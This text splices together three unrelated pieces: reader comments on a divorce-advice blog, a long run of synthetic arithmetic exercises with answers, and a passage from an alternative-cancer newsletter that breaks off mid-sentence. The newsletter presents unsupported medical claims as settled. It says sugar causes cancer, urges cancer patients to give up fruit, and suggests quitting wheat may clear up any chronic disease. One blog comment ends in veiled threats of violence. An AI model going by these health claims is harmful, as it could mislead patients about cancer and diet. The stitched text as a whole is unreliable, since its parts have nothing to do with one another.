I was reading about when your kids prefer to be with the other parent… It makes me feel so awful and unloved. I know they love me but I want them to be just as excited to see me. I shouldn’t have to force my kids to do things with me… I had to leave but never guessed I would be so lonely 🙁
Bev Walton
I have been an ex-wife (married twice before and am now remarried – 3rd time lucky). Along the way, I “inherited” 3 ex-wives from my 3 respective marriages. Having been the “new wife” twice before, I have finally, probably due to my age (now 46), started to accept and come to terms with the pain and heartache that comes with the territory of divorce. I have been able to move on. The points in your article are spot on Jackie. I love point 17! 🙂
Stephanie Stansell
Each person has their own divorce experience and some of those are horrible and involved various forms of abuse. My ex is a sociopath and dangerous and I will not allow him in my home. Now that I am divorced and I totally support myself I say who is allowed in my home and life and that’s okay! I understand this is a blog but men and women come to this site for information so you should do a better job of expressing that your “lists” are your opinion. Someone that is currently going through the difficult process of divorce may read this and take it to heart and beat themselves up over what you think they should be feeling.
jude
Her opinions are spot on, my ex-wife says that me saying she shouldn’t have my daughter spending the night at her boyfriends house 2 1/2 months after I moved out is an “opinion”. Opinion= getting called out for doing the wrong thing and not wanting to hear about it. Opinion ( at least with my ex-wife).
Storm
This is good advice allround. After I found him cheating 3 times, i decided to give it a go… Bad idea! It ruined any self-respect I had left and a great friendship with someone truly special. Finalising my divorce in December and still teaching my children that love is real. Some things in life goes wrong, but then you pick up the pieces and move on.
Timm
Number 19 is complete nonsense. My ex and I will never speak again. The awful divorce ruined that chance. However, I will ALWAYS remember my wedding day as the happiest day of my life. It doesn’t matter if it all worked out forever or not, Nothing can change the past and that is a good thing.
Garry
Sensei
“No good marriage has ever ended in divorce.” – Louis CK
Don’t over-embellish your memories of your marriage, or hold it up as some perfect thing that you can’t believe is over and would do anything to get it back. Stop it. If it was good, it wouldn’t have ended. You weren’t that happy, and neither was your ex.
Jackie,
Thank you for writing the Dating After Divorce article/post. As I read the article, I felt like I wrote it for my ex-wife. To the point, when I printed it out and emailed to her, I was afraid she was going think I typed it up and sent I to her and she would think it was fake. Odds are something was going on before we got divorced, but that doesn’t really matter now. My concern is my 11 year old daughter. Within 3 weeks of our divorce ( and it was a quick one, told she wanted a divorce middle of Feb., final March 29) she had my daughter hanging out all weekend with her ex-boyfriend and posting pictures on Facebook of her and his daughter “hanging out”, not the he and her were, but the kids. Now less than 3 months she is spending the night at his house. I feel sorry for her, when she said she had spent the night there, she had a look of guilt. The worse was this past weekend, Fathers Day morning, she woke up at his house, that hurts.
My ex-wife seems to think it’s perfectly ok since they dated before and she has told my daughter they used to. The points you made:
1. If you want to date- let your ex keep them or get a babysitter- Offered
Their relationship failed once already, I asked to give it some time and see where
it goes before dragging my daughter in to it.
2. Sleepovers are bad- She doesn’t see anything wrong with it.
3. Subjecting them to another loss- see number one, failed once, I said” she just
went through a divorce, what happens if this doesn’t work out again and you
guys break up in a few months. Basically 2 divorces in a few short months”
– not worried about it. none of my business.
4. Play dates with the kids- Told her your using the kids “play dates” as a way to
justify seeing each other when you have your children- response-Not my business
Sorry to ramble on, but thank you for letting me vent and thank you again for
writing it. I thought when she saw it and it was basically what I had been telling her,
I thought she might see the light. Her response- My attorney said I don’t have to
respond to your opinions. I wouldn’t be dragging around my daughter to hang out with new lovers, possible girlfriends, etc., but that’s just me. I could care less about meeting someone right now……. Thanks again, it feels good to feel right.
Daisy
Such a shame that people don’t realise what type of advice this site is giving: if you are looking on-line for a bit of comradery in your divorce, this is what you’ll find… its wonderful! Sound advice for those who are going through a hard time who may want some light-hearted, home-truths.
The clue is in the title: divorced girl *smiling* – she’s not a therapist, she’s a blogger who’s been through it and I for one think the site is a massive help. Like all things in life, I use what is relevant to me and ignore the rest (or at least take it with a grain of salt).
Thanks Jackie, for your wonderful insight into your experience and sharing it with the rest of us!
Jackie Pilossoph
Agreed with all but #1. I think in high conflict situations where you’re back and forth in court and that person is trying to make your life miserable…I could care less. I would hurt for my son who would hurt, but I am beyond who gives a damn. And you know what? That’s okay. I don’t have to care about people who don’t care about me.
Divorcingmum
Divorce totally sucks.
I’m the one who instigated it here and in many ways I’m happy that I did but I wish things had been different.
On my solicitor’s advice I’m staying in the same house as my soon to be ex husband until we have a financial arrangement in place.
Sarah Armstrong
I love the way this writer thinks they know everything about everybody. A separation is going to be entirely different for everybody depending of the level of abuse they have encountered at the hands of their ex partner. Truthfully in my situation I would never want to date or sleep with someone again and yes I do know my own mind thank you very much. Its ok for people to retire from looking for love and sex… It’s only because we live in a society so addicted to ‘searching for the one’ that it’s hard this writer to understand that some people eventually grow up and realise that the ‘chase’ isjust dull and predictable
Bill
If divorce and splitting families isn’t a big deal, that also means, conversely, that marriage and family isn’t a big deal either. Marriage seems to have no value or meaning when divorce is par for the course, it’s becoming just another disposable single use convenience item, a meaningless participation trophy like the rest of our disposable culture. Treating human beings as disposable commodities lowers my opinion of our whole culture. Maybe we just stop doing it and starve the corrupt divorce industry (and the slave labor diamond industry) out of existence. Think of the money and lives you will save by not indulging in some feel-good non-binding empty ritual. Millions of people are being raked over the coals for no good reason, to glorify a lie of lifelong commitment.
The divorce rate is hovering near 50%, and everybody thinks it won’t happen to them. You’re not special in this category, you’re just like everybody else. Nobody is special, everybody is disposable. So why roll the dice? May as well put your entire net worth (plus 20% of your earnings for the next 15 years, give or take) on a roulette table in Vegas and bet even or odd because at least that way you might double up. Marriage in its current state is at best, only neutral or at worst lose half or more of everything. Huge lifelong emotional, financial and social risks, for what? feelings? Fuck feelings.
If you don’t want to get divorced, don’t get married. It’s that simple. I take issue with the “You do want to and you probably will” attitude this author has on topic 3. I got married to be a father, I wanted what my parents have and I still do. Now I’m 40. I could meet a significantly younger woman, true, but I will not marry anybody who cannot or will not be a mother, and now that my career has been undermined I cannot support other children from another man. The author casually assumes that everything is probably just going to work out, but the odds of that are really not good. Younger women do not seem interested in me, and I am definitely not interested in older women. I’m know too picky, but I’m never going to lower my standards because I already have such a low sex-drive that if there’s no attraction, I just can’t do it.
There is really only one thing women can do that I can never ever somehow learn to do, and that’s have children. And since the women I have met refuse to do anything that could be conceived of as a traditional family role, I have to ask myself, what do I need or want a woman companion for? Sex? I don’t really care that much about sex, and never have. I certainly will not take any risks or make any sacrifices for it. The older I get, the less I care about it. When I was married I did more housework than she ever did, and she lied about it in court and was believed. The whole female housework thing is just a narrative with no observable truth to it from my point of view. If it exists in your case, good for you, but I have never benefited from experiencing it. If you want to complain about it to me, you have to actually do it first ladies, I’m not going to accept social stereotypes as true without some evidence in their support. And if I’m not going to get credit for the housework that I do, I’m either not going to do it, or at least not going to do it for you.
I have been falsely accused of domestic abuse, mental illness, suicidal ideation and alcoholism. My education derailed by these accusations. My career essentially dead because of these claims and the repercussions of divorce. My home was deliberately forced into forclosure and I filed for bankruptcy shortly after, my credit is essentially non-existant now. A female county psychologist, a female county attorney, and a female child support officer falsified testimony in court (I disproved all of these things with evidence, but the court did not pursue perjury charges against its own members to no ones surprise.)
I have every right to be suspicious, my lack of trust is completely justified.
The fact is that for as much griping about how terrible everything supposedly is for women, it is men who face pervasive, systemic, and inescapable discrimination in divorce court, especially when title IV social services programs derive their budgets based on how deeply they can reach into men’s pockets. Men are the sitting ducks, not the women, yet we maintain this grand narrative about poor victimized women who deserve vindication against the evil selfish men. Would you get married again when that is the unquestionable narrative of social activists?
The truth is that I tell myself I do in fact want to do this again, but I know In advance that the odds are against me, and that I will most likely lose and that is why I do not, and I simply will not do it at all unless its for a younger women with a plausible likelihood for children. Its like buying a lottery ticket, sure you could possibly win, but you’re most likely going to lose and the cost is absurd. If you lose, lots of assholes on the internet will get a good laugh about how bitter you are and remind you about how you deserve this because you have a penis and women in Saudi Arabia are so terribly oppressed and therefore all men should be shamed and held responsible for the wrongdoings of others. I already lost my home, my education, my career, and damn near lost my son, shame me at your own risk motherfuckers. I will never gamble with any of those things again, unless it is for children and family and that is becoming increasingly unlikely as time progresses.
I’m now 40. My goals in life are career, home, and family, and I must be secure in my person and my property before these things can reasonably be attained. My adherence to the social contract with every one of the rest of you is contingent upon these basic things, if you don’t care about me so be it, but be prepared to accept the consequences of that choice. We’re either in this together or we’re in it separately, and you can’t have your cake and eat it too. I’m not interested in money or power and will not be swayed by possessions, fancy vacations, spurious pastimes, or meaningless sex in lieu of home and family. Home and family is my non-negotiable condition, as career is dependent upon a non-recoverable education.
Show me real commitment. Disposable marriage is not good enough.
The commenter above was not wrong about the decay of society in this way, some of us simply will not accept anything else, the family is the foundation of society. It is not wise to take away people’s reasons for living. Want to see what happens to men with no sense of purpose or meaning and no respect for the social contract? Turn on the TV, they’re the ones that often make headlines. Nature behaves in similar ways when animal families are threatened. We will not accept the abrogation of family peacefully.
JW
I was married to a toxic narcissist for 18 years. I was previously married and did not want to fail again. Unfortunately, I found myself just eating the bad behavior, I was controlled by constant the constant threat of divorce, gaslighting and put downs. I was never going to be perfect enough and the list of imperfections that I was ordered to improve only got longer. I couldn’t keep up and I felt my life was hopeless and I was constantly walking on eggshells. Adding to it all, my husband had a drinking problem and when he was drinking he was even more verbally abusive, screaming and yelling and stomping around. After 9 years of no intimacy or sex, I threw in the towel. I couldn’t understand why he treated me the way he did when other men were attracted to me and would have liked to have someone who was loyal, attractive, didn’t spend money, didn’t drink, or party, do drugs, was spiritual and faithful. I tried so hard to be a good wife and I wasn’t perfect but I made so much effort. It was never enough for him. I went un-noticed. He tried to controll me by constantly threatening me with divorce. Needless to say, one day I had given in too long and was sick of my life and after one of his big threats, I filed for divorce. He was shocked and I have paid dearly in every way during our divorce. He continues to make my life miserable at every turn. Of course everything is my fault and he owns nothing. Here’s my advise to anyone that is in a toxic relationship. Educate yourself on what you are dealing with and pay attention. Protect yourself and arm yourself with knowledge. My childhood and family growing up were normal, everyday loving people. His family were alcoholics, dysfunctional and actually tried to literally kill each other. Somewhere along the line, he was damaged and continued the cycle of abuse. I did not come thru this 18 years unscathed. It will be a long road back to trusting my own judgement and building my self esteem. I can’t say that marriage is a bad institution, my parents have passed the test of 65 years of being together. I’ve never seen two people so in love. Learn to love yourself enough to save yourself. When it seems impossible, when you are down and depressed, turn it over to god and I promise he will hear you and give you the strength to get to the other side. Here’s to “having my life back and feeling alive again”. |
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Let i = -1/9 - -4/9. What is the nearest to -1 in -2, 0.3, i?
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Let p = 0.6 - 0.7. Let i = 0.4 - 0.3. Let c = -0.4 - i. What is the closest to 1 in c, p, -0.3?
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Let x be (-4)/((-16)/3) + 0. Let g = 0.5 - 0.6. Which is the closest to -1? (a) x (b) g (c) 1/4
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Let u = 19 - 27. Let q = u + 13. Let z = 13/30 + 1/15. What is the closest to z in q, -2/3, -2/9?
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Let z = 859/40 + -108/5. Which is the nearest to -1/5? (a) z (b) 2 (c) -0.1
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Let y be (-1 - -1) + (-4)/(-14). Let w = -0.021 + -0.279. What is the closest to y in w, -5, -0.2?
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Let j = -4 - -6. Let k be 10/(-9)*3/j. Let f = -0.6 - -1.6. What is the nearest to -1 in f, -2, k?
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Let q = 25 + -24.8. What is the closest to 1/5 in 1/7, q, 4?
q
Let j = 0.07 + 0.73. Let g = j + -0.9. Which is the closest to g? (a) -1/7 (b) -2 (c) 3/5
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Let g = -2 + 1. Let q = -0.9 - g. Let p = q - 1.1. Which is the closest to -1? (a) 4 (b) p (c) -5
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Let x = -644/5757 + 2/303. Let m = -0.3 + 0.2. Which is the closest to 1? (a) x (b) 5 (c) m
c
Let v be -2 + (-2 - (-171)/(-6)). Let c = v - -33. What is the closest to 0 in 0, 0.1, c?
0
Suppose -2*z + 5 = 3*z - 3*s, -z + 23 = -5*s. What is the nearest to -1/2 in 0.3, z, -2/9?
-2/9
Let r = 4 + -4. Let a be 2*3/18 + r. What is the closest to -0.1 in 5, 0.3, a?
0.3
Let k = 21 + -59/3. Let c = 2.57 + -1.57. Let n = -7 + 11. What is the closest to 1 in k, n, c?
c
Let k = -178.7 - -179. Let p = -16/3 + 170/33. Which is the closest to 0.7? (a) k (b) -4 (c) p
a
Let k be (4/(-21))/(6/(-9)). Which is the closest to 1? (a) k (b) 1/2 (c) -12
b
Let s = -1.3 - -0.3. Let o = -124 + 1362/11. Which is the nearest to -1/4? (a) s (b) o (c) 2/7
b
Let n = 57 + -60. Let y = 6 + -10. What is the nearest to -2 in y, n, 3?
n
Let o = -6 + 3. Let r = 40798675/161 - 253406. Let t = r - 54/23. Which is the nearest to -2? (a) o (b) 0.2 (c) t
a
Let s = 9.3 - 10. Let b = s - -0.3. Let g = 0.4 + -0.6. What is the nearest to g in b, -3, -0.2?
-0.2
Let j = 29 - 29.1. Let f = 4.6 - -0.4. Let k be (-9)/16*4/3. What is the nearest to j in f, k, 0?
0
Let u be 0 - (1 - 18/10). Suppose o + 3*o = 2*q - 2, -5 = q + 4*o. Which is the closest to q? (a) 2/11 (b) 0.1 (c) u
b
Suppose 23 = 5*t + u, 3 = 3*t + 5*u - 2. Suppose 4*p = 3*r + 2*p + 2, -3*p + 4 = -t*r. Let v be -3 + 21/(-18)*r. What is the closest to 0 in 0.2, 3/5, v?
0.2
Let u be (-7)/(-6) - (-2 - 35/(-10)). Suppose -2*b + 5 = -3. What is the nearest to u in -2/7, 1, b?
-2/7
Let d = -5 + 8. Let j = -48 + 45. Let m = d + j. Which is the nearest to 0? (a) -2 (b) m (c) -4
b
Let u = -101/3 - -33. Let h = 8 + -9. Which is the nearest to h? (a) -3 (b) 4 (c) u
c
Suppose -3*a + 5*b - 3*b - 20 = 0, -5*b = 4*a - 4. Let z = 2/7 - 3/35. What is the nearest to 2 in -1/7, z, a?
z
Let h = -0.3 - 0.2. Let k = -2.5 + 8.8. Let s = k + -6. Which is the nearest to -2/3? (a) -3 (b) h (c) s
b
Let q = 1.2 + -0.3. Let x = 3 - 2. Let c = x - q. What is the nearest to c in -0.3, 5/3, 3?
-0.3
Let p be (-49)/(-42) + (1 - 21/18). Which is the closest to -1/4? (a) -5 (b) p (c) -9
b
Let g(l) = -l**3 + 1. Let q be g(-1). Suppose -q*i - j - 6 = j, -2*j = -2*i + 6. Let y be 2*(-1 - (-16)/18). Which is the nearest to -1? (a) i (b) 3 (c) y
c
Let w = 44 - 43.8. Which is the closest to w? (a) -4 (b) -0.5 (c) -5
b
Let t = 25 - 25.2. Let o = -0.5 - t. Which is the nearest to -2/3? (a) -1/8 (b) -0.2 (c) o
c
Suppose -9*t + 10*t = 5. Which is the closest to -0.1? (a) -5 (b) t (c) 2/5
c
Let k(l) be the first derivative of -l**4/4 - 7*l**3/3 + l**2/2 + 10*l - 4. Let p be k(-7). Which is the nearest to 1? (a) p (b) 2 (c) -1/3
b
Let c = -0.08 - -5.08. Let p(x) = x**2 + 6*x + 4. Let t be p(-5). What is the nearest to t in -1/4, 0.4, c?
-1/4
Let i = 0.01 - 0.11. Let w = 4.04 + -0.04. What is the nearest to -0.1 in w, 5, i?
i
Let v = 35 + -176/5. Let o = -2.1 + 0.1. Let h = 0.39 + 0.11. What is the nearest to o in -0.1, h, v?
v
Let m = -16 + 14. What is the nearest to m in 3, 1/3, -2/13?
-2/13
Suppose 4*g = 4 + 36. Let o be g/4*(-246)/(-4). Let i = 153 - o. Which is the nearest to 0? (a) -3 (b) i (c) 0.3
c
Let s = 12 + -12.4. Let p = 1883/9 + -209. What is the closest to -0.1 in s, p, -1/2?
s
Let m = 0.37 + 1.63. Which is the nearest to -0.1? (a) 1 (b) 5 (c) m
a
Let r be (-15)/595 - (-4)/28. What is the closest to 0.1 in 3, 4, r?
r
Let x(i) = -i**2 + i + 1. Let d be x(3). Let j be ((-15)/(-12))/((-8)/(-32)). What is the nearest to -0.1 in d, -1, j?
-1
Let s(i) = -i**2 - 2. Let u = 11 - 11. Let d be s(u). Let q = 4 + -5. Which is the closest to -0.1? (a) d (b) -4 (c) q
c
Let i = 1 + 2. Let r = 26 + -29. What is the closest to i in 0.1, -2/11, r?
0.1
Let b(l) = -3*l - 6. Let w be b(-4). Let q(g) = -g**3 + 7*g**2 - 6*g - 6. Let t be q(w). Let z be ((-4)/(-10))/(t/(-5)). What is the closest to 1 in 0, z, 0.2?
z
Let i = 7.3 + -7. Let q = -0.2 + i. Let g = 1.03 + -1.43. Which is the nearest to q? (a) g (b) 3 (c) -0.2
c
Let v be 4/10 - 132/180. Let t = -8 - -8.5. What is the nearest to v in 1, -2/9, t?
-2/9
Let i(h) = h**2 + 9*h + 9. Let o be i(-7). Suppose d + 2 - 1 = 0. Let x be (4/(-6))/(d/3). What is the closest to 0 in 1/9, o, x?
1/9
Let z = 9 - 16. Let w = z + 8. What is the closest to 0.1 in -2, -0.5, w?
-0.5
Let s be (6/(-32))/((-3)/(-12)). Let g be -2 + ((-60)/(-9))/5. What is the closest to 0 in s, g, 3?
g
Let j = 7 + -6.6. Which is the nearest to 2/3? (a) -0.5 (b) -3 (c) j
c
Let i be 4/(-6)*(-12)/16. Let d(p) = p**3 + 5*p**2 + 1. Let s be d(-5). Let o = -18 + 13. Which is the nearest to s? (a) 2 (b) o (c) i
c
Let t = -6 + 15. Let v = t + -13. Which is the nearest to v? (a) 0.2 (b) -2 (c) -0.2
b
Let w be (-1 - (-36)/(-17)) + 3. Let q = w + -13/34. Which is the nearest to 0? (a) 5 (b) 1/3 (c) q
b
Let q = 0.2 + -0.2. Let p(r) = -r**3 + 7*r**2 + 9. Let j be p(7). Let i be ((-1)/4)/(j/(-24)). Which is the nearest to q? (a) i (b) 2/7 (c) 2/9
c
Let u be 2 + 299/5 + -2. Let q = u - 60. What is the closest to -2/7 in 1/8, 1/7, q?
q
Let g be ((-2)/5)/(-2) + 2 + -3. Which is the nearest to 1? (a) 0.2 (b) -0.4 (c) g
a
Let z = 0.1 + -0.3. What is the nearest to 2 in 3, z, -0.4?
3
Let q = -8 + 7.7. Let n = 3 - 2.7. Let x = -0.7 - n. Which is the nearest to x? (a) q (b) -2/5 (c) 0.1
b
Let f = -0.08 - -2.08. Suppose b = -b - 6. Let g be b - (3 - (-52)/(-9)). What is the closest to g in 3, -0.1, f?
-0.1
Let i(n) be the third derivative of n**5/20 + n**3/6 + n**2. Let d be i(1). Suppose d = -g + 2*g. What is the closest to -1/3 in g, 0.5, 2?
0.5
Let l = 2 - 1. Let b = -1.1 + l. Let a = b + -0.4. What is the closest to 1/4 in -2/3, -4, a?
a
Let o = 9 + -7. Let v be (o/16)/((-2)/12). Which is the closest to -1? (a) 4 (b) v (c) -4
b
Let z = -2 + -3. Let g = z + 4.6. Let h be 5 - ((-16)/(-4) + -1). Which is the nearest to h? (a) g (b) -0.1 (c) -3
b
Let g = -24 - -24.4. Which is the closest to 1? (a) g (b) 1/3 (c) -4
a
Let w = -10/13 + 1/52. Which is the nearest to 1? (a) 1 (b) w (c) -0.1
a
Let c = 2.9 + -3. Let u = -69 - -69.5. What is the nearest to c in -0.4, u, -0.3?
-0.3
Let v = -2.98 + -0.02. Let t = -2.5 - v. Which is the nearest to 0? (a) t (b) -0.2 (c) 0.4
b
Let a = -673/4 + 168. What is the nearest to a in 0, -1, 2.2?
0
Let i = 1/162 + 319/810. Let j = 152 + -757/5. Which is the closest to i? (a) j (b) -4 (c) -5
a
Let j = 0.9 + -0.6. Suppose 0 = -4*f - 3*a - 22, 3*f + a + 5 = -9. What is the nearest to -0.1 in 2/15, j, f?
2/15
Let d = 8 - 6. Let g = 192/505 + 2/101. What is the closest to d in 5, -2/5, g?
g
Let s = 2.1 - 2. Let y = s - 0. Let p = -0.2 - 0.3. What is the nearest to y in p, 0, 4?
0
Let g = 2.34 - 3.31. Let m = g + -0.03. Suppose 0 = 5*d - d - 4*k, -40 = 5*d + 5*k. What is the closest to -3 in d, m, 1?
d
Let y = -22 + 21. Which is the closest to -0.06? (a) -2 (b) y (c) -2/9
c
Let q(v) = -v + 1. Let o be q(2). Let u be 2/(-3 + o - 1). Which is the nearest to -1? (a) u (b) 0.4 (c) 2
a
Let z = -13/36 + 1/9. Suppose -5*a = -175 + 185. Let l = -0.1 + 0.2. What is the closest to l in z, -4/7, a?
z
Suppose y + 3 = -4*p, -2*p + 1 = 5*y - 2. Let f = -52 + 52.2. Which is the closest to p? (a) 4 (b) f (c) 0.1
c
Let h be (-562)/1400 + (-1)/(-3). Let c = |
Experts in alternative cancer treatment have been warning cancer patients for decades that they need to give up all sugar. And sugar's role in diabetes is so well known it goes without saying.
Now these views are going mainstream in a way I've never seen before. We're still a long way from seeing either the government or the medical establishment condemn sugar and warn the public to avoid it. But a few voices are being raised. In ten years I suspect most people will think of sugar about the same way they think of smoking. The day is coming.
What prompts this thought is an article entitled "Is Sugar Toxic?" that appeared in the New York Times Magazine the Sunday before last (April 17). It's one thing for us "wackos" in the alternative cancer field to rant against sugar. But when an article like this appears in an establishment newspaper, quoting establishment medical doctors and scientists, it means there's real progress. But that's not what I found most interesting, this is...
I was shocked by what I didn't know about sugar!
Continued below. . .
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The Times article taught me some new things about sugar's dangers that I didn't know. And that's saying something, considering how much I read about the subject. The new developments are by far the worst news about sugar I've ever seen. If you take heed, this news could save your life.
The evidence indicates sugar is not just another food. It's a uniquely toxic, poisonous substance. It does strange things in and to the body.
Sugar doesn't just feed cancer. There's every sign sugar actually causes cancer — as well as obesity, heart disease, high blood pressure and diabetes. Cancer Defeated has written frequently on the fact that all these problems are really one problem, but we didn't know the exact mechanism. Now the big picture is coming clear.
And as far as I know, authorities in alternative cancer treatment have missed this new angle. Here's what happened. . .
Among alternative cancer experts, it's well known that cancer cells consume vast amounts of sugar — far more than healthy cells do. That's why we tell cancer patients not to eat any sugar at all. Healthy people should eat as little as they can.
A well-known cancer treatment, insulin potentiation therapy or IPT (see Issue #33), is entirely based on cancer's hunger for sugar. So is a mainstream medical test, the PET scan, in which a patient is injected with radioactively-tagged sugar, because the sugar will concentrate where cancer cells are found, causing the cancer cells to light up the scan like a Christmas tree.
So there's absolutely no doubt that cancer feeds on sugar. In spite of that, few conventional cancer doctors will tell a patient to give up sugar. Most insist that what you eat makes no difference at all to your chances of beating cancer. That's why the New York Times article is surprising.
Alternative cancer experts are ahead of the mainstream on this important subject. But anybody can get too absorbed in his own little field, and maybe that's what happened. Those of us who research and write about alternative treatments have been totally absorbed with the way cancer cells metabolize sugar, but it turns out the real story is how a healthy body metabolizes sugar.
Cutting through the myths
and debunking the urban legends
Some experts will tell you that sucrose — granulated table sugar — is a bit healthier than high fructose corn syrup (HFCS), the sweetener found in sodas and almost every manufactured, processed food — even bread. These experts believe HFCS is the devil that's the source of many problems.
Other experts will tell you that fruit is completely healthy, even though it's high in fructose. And still others will tell a cancer patient that a carb is a carb is a carb, i.e. the digestive process turns all carbs -- potatoes, white rice, fruit, granulated sugar AND HFCS -- into blood sugar (glucose), so you need to cut back or cut out all these foods. These experts say not just sugar but ALL carbohydrates feed cancer.
It turns out all of these beliefs are off the mark or even dead wrong.
First, take the idea that granulated sugar -- sucrose, made from sugar cane or beets -- is different from HFCS. Wrong. They're essentially the same thing. Each is roughly half glucose and half fructose. It's the fructose that does the harm, as I'll explain shortly. Because health food advocates have created a storm about HFCS the last few years, some food manufacturers are switching back to cane sugar/sucrose and touting their products as "fructose free". In this case, the health nuts are wrong. It makes no difference.
I was disappointed to learn that fresh fruit MAY be a problem for cancer patients. It's high in fructose, the type of sugar the body has trouble metabolizing. Several years ago, I started making the switch from a typical American diet to a diet high in raw foods. Fresh fruit was a large part of my new eating plan, because I like it.
Now I have to tell you, if the new findings hold up, fresh fruit probably isn't a good idea for cancer patients. You should definitely eat fresh, raw foods — but those foods should be vegetables. Fruit consumption should be low to moderate. I'm basing this on the new theory. As yet, there's not much clinical evidence. But if you're fighting cancer, play it safe.
Fruit IS rich in vitamins, minerals and many other phytonutrients (nutrients found in plants). If you cut out fruit you'll need to take appropriate supplements. An example would be wine, which some people think is a health food. It's not. It's a megadose of sugar, even if it does contain some valuable nutrients. But you can get some of the benefits of wine by taking resveratrol supplements.
Use moderation, take small steps
If you don't have cancer, I believe moderate fruit consumption is still a good idea.
But don't do what I did for several years and make fruit a huge part of your diet. I believed and hoped it was a healthy way to keep indulging in sweets. Bad idea. By eating fruit, I was taking in tons of antioxidants, bioflavonoids and other good things, but also tons of fructose.
One thing fruit has going for it is that the fructose comes packaged with a large amount of fiber. Fiber fills you up, and has many other benefits too numerous to cover here. If you're in the habit of living on sodas, cakes, cookies and doughnuts, it's not likely you'll ever eat enough fruit to even touch the amount of sugar you get from these processed foods.
That means switching from these sugary foods to fresh fruit is a huge step in the right direction. A switch to no sweets at all is probably more than most people can handle. So, as long as you don't have cancer, a switch to fresh fruit is a good first step. But if you do have cancer, my view is that you need to stop EVERYTHING that contains either fructose OR sucrose.
Now for a good word about a few carbs. . .
To continue with the myth-debunking, the good news is that potatoes, rice and similar carbs may not be so bad. These contain neither sucrose nor fructose. The body breaks them down into glucose, the same kind of sugar that circulates in your blood.
All of your cells can directly utilize glucose with a minimum of effort. This type of sugar — this type of carb — puts the least strain on your body. The new theory is that fructose puts a unique, one-of-a-kind strain on the body that may be THE key to heart disease, diabetes, high blood pressure, obesity and cancer. If this theory is true (and it sure looks to me like it is), then potatoes and rice aren't strongly implicated in these degenerative diseases, even though they're carbohydrates.
I don't recommend binging on these safer carbs, but it's okay to eat moderate amounts — very moderate, if you're a cancer patient.
Wheat is another story. Like rice and potatoes, wheat products are metabolized into glucose and seem to belong in the category of comparatively "safe" carbs. But allergy to wheat is so widespread in our society, I recommend giving it up anyway.
I don't want to digress here on the many dangers of wheat. I'll just say that if you suffer from ANY chronic disease — from arthritis to heart disease to indigestion — avoid wheat. Try giving it up for a few months. There's a good chance your medical problems will diminish or completely disappear.
One hundred calories doesn't equal one hundred calories
One of the dearly held beliefs of weight loss experts is that one calorie equals another. If you want to lose weight, it's a matter of calories in, calories out. If you don't burn up every calorie you eat, the excess is added to your flab.
If you want to lose a pound of weight, you have to burn up 3,500 more calories than you eat — and it doesn't matter if the calories you give up are fats or carbohydrates, steaks or chocolate cake. You're not going to lose the pound until you eat 3,500 fewer calories.
The new theory casts serious doubt on this old belief. One calorie isn't just like another. A hundred calories from fructose are NOT like a hundred calories of protein or even glucose, the kind of sugar your body's cells can take in directly.
There's something different about fructose. I'm going to briefly explain what it is. If you have a taste for science and you'd like to know the details, check out a 90-minute Youtube lecture by an M.D. named Robert Lustig, Professor of Pediatrics at the University of California, San Francisco.
Dr. Lustig is an expert on child obesity and a leading critic of sugar — both table sugar and HFCS — because both these sugars basically come down to fructose. He's the source of most of what was in the New York Times Magazine article and most of what I'm telling you here.
He didn't conduct the scientific studies himself, but he's a very effective speaker and he passionately believes sugar is a poison. He actually uses the word "poison" 13 times in his lecture. You can quickly find his talk by Googling "Sugar: The Bitter Truth".
The two-minute explanation of how fructose messes you up
The quick summary is that, unlike glucose, fructose has to be metabolized in the liver by way of a very complex and inefficient process. Your digestive system quickly breaks down a potato or a grain of rice into glucose, the "good" sugar. The glucose then passes through your intestinal wall into your bloodstream, and your cells are able to take it up and "eat it" with no problem.
Not so with fructose. Your liver has to convert fructose into glucose, the food your cells can take up. It's about like trying to turn a bowl of fish soup into a fish. The resulting process is so complex it puts a great strain on the liver. And here's the thing researchers say is key: 30 percent of the fructose is converted into fat and stays in your liver.
The growing load of fat in your liver causes disastrous damage over a period of many years. It appears to be the main cause of "metabolic syndrome" or "insulin resistance syndrome" — the breakdown in your insulin system that leads to heart disease, diabetes, hypertension — and cancer.
Glucose good (sort of), fructose bad (definitely)
If you eat "good" glucose-generating carbs, only one calorie out of five is stored in the liver. What's more, it's stored in a harmless form called glycogen. Your liver can store any amount of glycogen without getting sick.
When you eat fructose, three calories out of five are stored in the liver — three times as many as when you eat glucose. And the fructose calories are stored in the liver as a highly toxic fat.
The researchers in the field believe this accumulation of toxic fat in the liver is THE cause of the chronic degenerative diseases such as cancer and heart disease.
Fructose is a dietary catastrophe
According to Dr. Lustig, eating a high-fructose diet is effectively like eating a high-fat diet. That means you can think you're following a so-called low-fat diet when you really aren't at all. For more than 30 years, conventional medicine has told us to cut way back on fats for a healthy heart. Eat all the carbs you want, they've told us, eat all the pasta you want, but give up fats, especially saturated fats like those found in beef or butter or even guacamole.
In his lecture, Dr. Lustig provides persuasive evidence that this advice is all nonsense. You can eat a very low fat diet, but if you eat a lot of sugar — and Americans eat MASSIVE amounts of it — you'll still get fat. You'll still have an unhealthy heart and unhealthy arteries, you'll have hypertension, and very likely you'll get diabetes or cancer.
You can eat and eat and still feel hungry
Fructose has another oddity: You can eat a huge amount of calories and still feel hungry. Dr. Lustig says a kid can drink a Coke containing 200 calories and still go into McDonald's raving hungry and eat a heaping plate of food. The reason is that fructose does not suppress ghrelin, the "hunger hormone."
When you're hungry, your stomach and pancreas secrete ghrelin, and this hormone signals your brain that you need to eat. You feel hungry. Once you've eaten, ghrelin production falls off and you don't feel hungry anymore. Unless you've eaten fructose.
Ghrelin levels don't go down after consuming fructose, according to Dr. Lustig. You still feel hungry even though you've taken on board a huge dose of calories.
It gets worse. Most food stimulates the body to produce leptin, a chemical that signals the brain you've had something to eat. According to Dr. Lustig, this response fails to occur if the food is high in fructose. Your brain never gets the message you're full.
Fructose is a likely answer if not THE answer. There are other factors involved — certainly toxic chemicals and heavy metals, in the case of cancer. But fructose looks more and more like a major explanation for our problems. I'm convinced we'd see a rapid increase in health and well-being in our society if every gram of sugar disappeared tomorrow, for good.
Instead, we eat five times the amount of fructose people ate a hundred years ago. And most of their fructose calories were from fruit. Most of ours are from the pure junk, like mainlining heroin.
Here's a thought form the New York Times article: "One of the diseases that increases in incidence with obesity, diabetes and metabolic syndrome is cancer. . .The connection between obesity, diabetes and cancer was first reported in 2004 in large population studies by researchers from the World Health Organization's International Agency for Research on Cancer. It is not controversial." (We wrote about the diabetes-cancer connection in issue #35.)
The Times also quotes Craig Thompson, President of the Memorial Sloan-Kettering Cancer Center in New York. While the article does the usual song and dance that we need more studies (and it's true; we do), Dr. Thompson dropped this bombshell:
